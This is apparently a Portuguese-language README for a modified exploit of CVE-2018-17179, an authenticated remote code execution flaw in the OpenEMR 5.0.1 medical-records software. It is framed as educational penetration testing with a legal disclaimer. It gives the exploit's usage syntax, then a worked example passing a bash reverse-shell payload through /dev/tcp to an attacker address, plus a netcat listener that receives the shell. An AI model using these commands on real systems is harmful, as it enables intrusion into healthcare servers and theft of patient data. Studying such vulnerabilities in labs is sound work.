
Exploit de execução remota de código autenticado para OpenEMR 5.0.1 (CVE-2018-17179) com payloads de comando personalizáveis e suporte a reverse shell para testes de penetração educacionais.
⚠️ Aviso
Este repositório é destinado estritamente a fins educacionais e de pesquisa.
As informações e o código fornecidos aqui podem ser usados em ambientes controlados, como máquinas de laboratório privadas.
O uso não autorizado deste código contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.
O autor não é responsável por qualquer uso indevido ou danos causados.
CVE-2018-17179 afeta o OpenEMR, um software de código aberto amplamente utilizado para registros médicos eletrônicos e gerenciamento de consultórios.
Uma falha no mecanismo de autenticação do endpoint rest_routes.php permite que um usuário autenticado execute comandos arbitrários no servidor.
Isso pode levar à Execução Remota de Código (RCE) no contexto do usuário do servidor web.
interface/main/main_screen.php via rest_routes.phpEste repositório fornece uma versão modificada do exploit público do Exploit-DB:
Neste exploit personalizado:
Alvo: um painel de login de teste local do OpenEMR:

Usage: python2 exploit.py <target_url> -u -p -c
Example: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Certifique-se de que o Python 2 esteja instalado.
- O usuário deve ter acesso ao endpoint vulnerável `rest_routes.php`.
Execute o Exploit
Executei o script de exploit modificado com um payload de reverse shell em bash:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

O listener do Netcat na porta 4444 recebeu com sucesso um reverse shell:
nc -nvlp 4444

Confira o passo a passo detalhado e a teoria no meu post do Medium:
👉 Leia o blog no Medium